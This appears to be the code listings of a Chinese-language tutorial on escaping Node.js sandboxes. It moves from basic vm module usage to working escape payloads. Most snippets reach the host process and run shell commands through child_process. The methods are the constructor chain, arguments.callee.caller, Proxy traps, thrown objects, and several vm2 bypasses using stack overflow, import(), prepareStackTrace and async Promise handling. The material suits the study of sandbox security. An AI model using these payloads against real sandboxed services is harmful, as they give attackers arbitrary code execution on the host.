1
const vm = require('vm');
2

3
const localVar = 'I am local';
4
globalThis.globalVar = 'I am global';
5

6
vm.runInThisContext('console.log(typeof localVar)');  // 'undefined' —— 访问不到局部变量
7
vm.runInThisContext('console.log(globalVar)');        // 'I am global' —— 能访问 global

1
const vm = require('vm');
2

3
const sandbox = { x: 10, name: 'test' };
4
vm.createContext(sandbox); // 上下文化，现在 sandbox 是一个沙箱环境
5

6
// 沙箱内代码的 "全局变量" 就是 sandbox 的属性

1
const vm = require('vm');
2

3
const sandbox = { x: 1, y: 2 };
4
vm.createContext(sandbox);
5

6
vm.runInContext('z = x + y', sandbox);
7
console.log(sandbox.z); // 3
8

9
// 沙箱内无法访问 process
10
try {
11
    vm.runInContext('process.version', sandbox);
12
} catch(e) {
13
    console.log(e.message); // process is not defined
14
}

1
const vm = require('vm');
2

3
// 不需要手动 createContext，直接传沙箱对象
4
const result = vm.runInNewContext('x + y', { x: 3, y: 4 });
5
console.log(result); // 7
6

7
// 不传沙箱对象也行，会创建空沙箱
8
vm.runInNewContext('1 + 1'); // 2

1
const vm = require('vm');
2

3
// 编译一次
4
const script = new vm.Script('x * 2');
5

6
// 在多个上下文中复用
7
const ctx1 = vm.createContext({ x: 5 });
8
const ctx2 = vm.createContext({ x: 10 });
9

10
console.log(script.runInContext(ctx1)); // 10
11
console.log(script.runInContext(ctx2)); // 20

1
const sandbox = { user: 'guest' };
2
vm.createContext(sandbox);

1
this                              → sandbox（宿主创建的对象）
2
this.constructor                  → 宿主的 Object 构造函数
3
this.constructor.constructor      → 宿主的 Function 构造函数
4
this.constructor.constructor('return process')   → 创建一个返回 process 的函数
5
this.constructor.constructor('return process')() → 执行它，拿到宿主的 process！

1
const vm = require('vm');
2

3
const sandbox = { user: 'guest' };
4
vm.createContext(sandbox);
5

6
// payload：通过原型链爬出沙箱
7
const payload = `
8
    const hostProcess = this.constructor.constructor('return process')();
9
    hostProcess.mainModule.require('child_process').execSync('whoami').toString();
10
`;
11

12
const result = vm.runInContext(payload, sandbox);
13
console.log(result); // root
14

15
// 另一种等价写法（toString 也是宿主的方法）
16
const result2 = vm.runInNewContext(
17
    `this.toString.constructor('return process')()`
18
);
19
console.log(result2.mainModule.require('child_process').execSync('id').toString());

1
const vm = require('vm');
2

3
// 无法利用：数字是基本类型
4
const ctx1 = { n: 42 };
5
// ctx1.n 在沙箱内是基本类型，n.constructor 是沙箱内部的 Number，不是宿主的
6

7
// 可以利用：数组/对象是引用类型，传的是引用
8
const ctx2 = { arr: [] };
9
vm.runInNewContext(
10
    'arr.constructor.constructor("return process")()',
11
    ctx2
12
).mainModule.require('child_process').execSync('whoami');

1
const sandbox = Object.create(null);
2
// sandbox.__proto__ === undefined
3
// sandbox.constructor === undefined

1
const vm = require('vm');
2

3
const sandbox = Object.create(null);
4
const context = vm.createContext(sandbox);
5

6
// 这条路走不通了：
7
// this.constructor → undefined
8
// this.constructor.constructor → 报错：Cannot read property 'constructor' of undefined
9
try {
10
    vm.runInContext('this.constructor.constructor("return process")()', context);
11
} catch(e) {
12
    console.log(e.message); // Cannot read properties of undefined (reading 'constructor')
13
}

1
function test(a, b, c) {
2
    console.log(arguments);       // Arguments [1, 2, 3]
3
    console.log(arguments[0]);    // 1
4
    console.log(arguments.length); // 3
5
}
6
test(1, 2, 3);

1
function inner() {
2
    // arguments.callee  → 当前正在执行的函数本身（即 inner）
3
    // arguments.callee.caller → 调用了 inner 的那个函数
4
    console.log(arguments.callee === inner);         // true
5
    console.log(arguments.callee.caller === outer);  // true
6
}
7

8
function outer() {
9
    inner();
10
}
11

12
outer();

1
const vm = require('vm');
2

3
const payload = `(() => {
4
    const a = {};
5
    a.toString = function() {
6
        // 这个函数是在沙箱里定义的，但被宿主调用
7
        // 所以 caller 是宿主环境里的函数
8
        const cc = arguments.callee.caller;
9
        const p = cc.constructor.constructor('return process')();
10
        return p.mainModule.require('child_process').execSync('whoami').toString();
11
    };
12
    return a; // 把这个"陷阱对象"返回给宿主
13
})()`;
14

15
const sandbox = Object.create(null);
16
const res = vm.runInContext(payload, vm.createContext(sandbox));
17

18
// 宿主在这里做了字符串拼接，触发了 toString
19
console.log('执行结果：' + res); // 打印出 whoami 的结果

1
const p = new Proxy({}, {
2
    get(target, key) {
3
        console.log(`有人访问了属性：${key}`);
4
        return target[key];
5
    }
6
});
7

8
p.name;   // 打印：有人访问了属性：name
9
p.abc;    // 打印：有人访问了属性：abc（即使属性不存在也触发）

1
const vm = require('vm');
2

3
const payload = `(() => {
4
    const trap = new Proxy({}, {
5
        get: function() {
6
            const cc = arguments.callee.caller;
7
            const p = cc.constructor.constructor('return process')();
8
            return p.mainModule.require('child_process').execSync('whoami').toString();
9
        }
10
    });
11
    return trap;
12
})()`;
13

14
const sandbox = Object.create(null);
15
const res = vm.runInContext(payload, vm.createContext(sandbox));
16

17
// 宿主访问了 res 的某个属性，触发 get 钩子
18
console.log(res.abc);   // 触发逃逸，打印 whoami 结果
19
console.log(res[0]);    // 访问任意属性都行

1
try {
2
    const res = vm.run(userCode);
3
    // 什么都没做，或者只是简单判断类型
4
} catch(e) {
5
    console.log('Error: ' + e); // 注意这里有字符串拼接！
6
}

1
const vm = require('vm');
2

3
const payload = `
4
    throw new Proxy({}, {
5
        get: function() {
6
            const cc = arguments.callee.caller;
7
            const p = cc.constructor.constructor('return process')();
8
            return p.mainModule.require('child_process').execSync('whoami').toString();
9
        }
10
    });
11
`;
12

13
try {
14
    vm.runInContext(payload, vm.createContext(Object.create(null)));
15
} catch(e) {
16
    // 宿主在这里访问了 e 的属性（字符串拼接触发 toString/Symbol.toPrimitive 等）
17
    console.log('Error: ' + e); // 逃逸触发，打印 whoami 结果
18
}

1
// 原生 vm：
2
沙箱代码 → this.constructor → 直接拿到宿主 Object → RCE
3

4
// vm2：
5
沙箱代码 → this.constructor → 触发 Proxy get 拦截器
6
                             → vm2 检测到危险属性访问
7
                             → 返回沙箱内安全的替代品
8
                             → 逃逸失败

1
真实的 Buffer     → 阉割版 Buffer（过滤危险操作）
2
真实的 setTimeout → 代理版 setTimeout（防止定时器逃逸）
3
真实的 process    → 完全屏蔽（VM 模式下不提供）
4
真实的 require    → 完全屏蔽（VM 模式下不提供）

1
const { VM } = require('vm2');
2

3
const vm = new VM({
4
    timeout: 1000,      // 超时限制，防止死循环
5
    allowAsync: false,  // 禁止异步代码（部分版本支持）
6
});
7

8
console.log(vm.run('1 + 1'));        // 2
9
console.log(vm.run('process'));       // 报错：process is not defined
10
console.log(vm.run('require("fs")')); // 报错：require is not defined

1
const { NodeVM } = require('vm2');
2

3
const nvm = new NodeVM({
4
    require: {
5
        external: ['lodash'],      // 只允许加载 lodash
6
        root: './',                 // 限制模块加载的根目录
7
    }
8
});
9

10
// 允许的操作
11
nvm.run(`
12
    const _ = require('lodash');
13
    module.exports = _.chunk([1,2,3,4], 2);
14
`);
15

16
// 不允许的操作
17
nvm.run(`require('child_process')`); // 报错

1
1. 沙箱内疯狂递归函数 r(i)，使调用栈接近极限
2
2. 在调用栈快满时，调用宿主函数 Buffer.prototype.write（这是宿主环境的函数）
3
3. Buffer.prototype.write 试图入栈，触发了爆栈
4
4. V8 在宿主环境中创建 RangeError 对象并抛出
5
5. 沙箱代码 catch 到这个异常对象 e
6
6. e 是宿主的 Error 对象 → e.constructor 是宿主 Error → e.constructor.constructor 是宿主 Function
7
7. 后续正常流程：用 Function 获取 process，RCE

1
"use strict";
2
const { VM } = require('vm2');
3

4
const payload = `
5
const f = Buffer.prototype.write;   // 目标：宿主函数
6
const ft = {
7
    length: 10,
8
    utf8Write() {}
9
};
10

11
function r(i) {
12
    var x = 0;
13
    try {
14
        x = r(i);           // 递归调用自身，使调用栈逼近极限
15
    } catch(e) {}
16

17
    if (typeof(x) !== 'number') return x;  // 如果已经拿到宿主对象，直接往上传
18
    if (x !== i) return x + 1;             // 调用栈还没到指定深度，继续累加
19
    try {
20
        f.call(ft);         // 到达指定深度，调用宿主函数，触发宿主 RangeError
21
    } catch(e) {
22
        return e;           // 拿到宿主 Error 对象，开始往外传
23
    }
24
    return null;
25
}
26

27
var i = 1;
28
while(1) {
29
    try {
30
        // 尝试用拿到的 Error 对象爬出 Function，获取 process
31
        i = r(i).constructor.constructor("return process")();
32
        break;
33
    } catch(x) {
34
        i++;    // 失败就调整深度，继续尝试
35
    }
36
}
37
i.mainModule.require("child_process").execSync("whoami").toString();
38
`;
39

40
try {
41
    console.log(new VM().run(payload));
42
} catch(x) {
43
    console.log(x);
44
}

1
// require 是一个普通函数，可以被代理、重写、拦截
2
require('fs')
3

4
// import() 是语言语法，像 typeof、instanceof 一样，不是函数
5
// 无法通过修改变量名或代理来拦截它
6
import('./module.js')

1
const { VM } = require('vm2');
2

3
const payload = `
4
    // import('./foo.js') 返回的是宿主 Promise，foo.js 不需要存在
5
    // 即使文件不存在导致 Promise rejected，对象本身已经泄漏出来了
6
    let res = import('./foo.js');
7

8
    // res 是宿主 Promise，其 toString 是宿主方法，constructor 链条完整
9
    res.toString.constructor("return process")()\
10
        .mainModule.require("child_process")\
11
        .execSync("whoami").toString();
12
`;
13

14
new VM().run(payload);

1
Error.prepareStackTrace = function(err, structuredStackTrace) {
2
    // structuredStackTrace 是一个 CallSite 对象数组
3
    // 每个 CallSite 包含调用栈帧的信息
4
    // 关键：CallSite.getThis() 可以返回该栈帧的 this 对象！
5
    return structuredStackTrace;
6
};
7

8
const err = new Error();
9
const frames = err.stack; // 触发 prepareStackTrace 回调

1
const { VM } = require('vm2');
2

3
const payload = `
4
    // 保留原始 Error，用于创建新的 Error 实例
5
    globalThis.OldError = globalThis.Error;
6

7
    // 重新定义 Error，绕过 vm2 对原始 Error 的保护
8
    globalThis.Error = {};
9
    globalThis.Error.prepareStackTrace = (errStr, traces) => {
10
        // traces 是调用栈帧数组
11
        // traces[0].getThis() 返回最顶层栈帧的 this，是宿主环境对象
12
        traces[0].getThis().process
13
            .mainModule.require('child_process')
14
            .execSync('whoami');
15
    };
16

17
    // 触发堆栈格式化
18
    const { stack } = new globalThis.OldError;
19
`;
20

21
new VM().run(payload);

1
const { VM } = require('vm2');
2

3
const payload = `
4
    const err = new Error();
5
    err.name = {
6
        toString: new Proxy(() => '', {
7
            apply(target, thiz, args) {
8
                // args 是 V8 传来的 frames 数组，未经 Proxy 代理
9
                // args.constructor 就是宿主的 Array 构造函数
10
                // args.constructor.constructor 就是宿主的 Function
11
                const hostProcess =
12
                    args.constructor.constructor('return process')();
13
                hostProcess.mainModule.require('child_process')
14
                    .execSync('whoami');
15
                return 'Pwned!';
16
            }
17
        })
18
    };
19

20
    // 访问 err.stack 触发 prepareStackTrace，
21
    // V8 在格式化时会对 err.name 调用 toString
22
    try { err.stack; } catch(e) {}
23
`;
24

25
new VM().run(payload);

1
// vm2 能控制的：
2
const p1 = new Promise(...);     // 用的是 vm2 替换过的 localPromise
3
p1.then(...)                     // vm2 对这里的回调做了过滤
4

5
// vm2 无法控制的：
6
async function foo() { ... }
7
const p2 = foo();                // 底层用的是 globalPromise，vm2 没有代理
8
p2.catch(...)                    // globalPromise 的 catch，vm2 没有过滤！

1
const { VM } = require('vm2');
2

3
const payload = `
4
    let hostProcess;
5

6
    // 第一步：重写 Function.prototype.call，拦截所有 call 调用
7
    const originalCall = Function.prototype.call;
8
    Function.prototype.call = function(...args) {
9
        const target = args[1]; // catch 回调的第一个参数是 error 对象
10
        if (target && target.constructor &&
11
            target.constructor.name === 'Error') {
12
            try {
13
                // 这个 Error 对象是宿主的，constructor 链可以爬出去
14
                hostProcess =
15
                    target.constructor.constructor('return process')();
16
            } catch(e) {}
17
        }
18
        return originalCall.apply(this, args);
19
    };
20

21
    // 第二步：构造 async 函数，让它抛出 Error
22
    async function trigger() {
23
        throw new Error('sandbox_bypass');
24
    }
25

26
    // 第三步：用 catch 接收异常
27
    // catch 回调经由 globalPromise 处理，没有被 vm2 过滤
28
    // 最终会调用 Function.prototype.call，触发我们的拦截器
29
    trigger().catch(err => {});
30

31
    // 第四步：此时 hostProcess 已经被赋值，执行命令
32
    if (hostProcess) {
33
        hostProcess.mainModule.require('child_process')
34
            .execSync('whoami');
35
    }
36
`;
37

38
new VM().run(payload);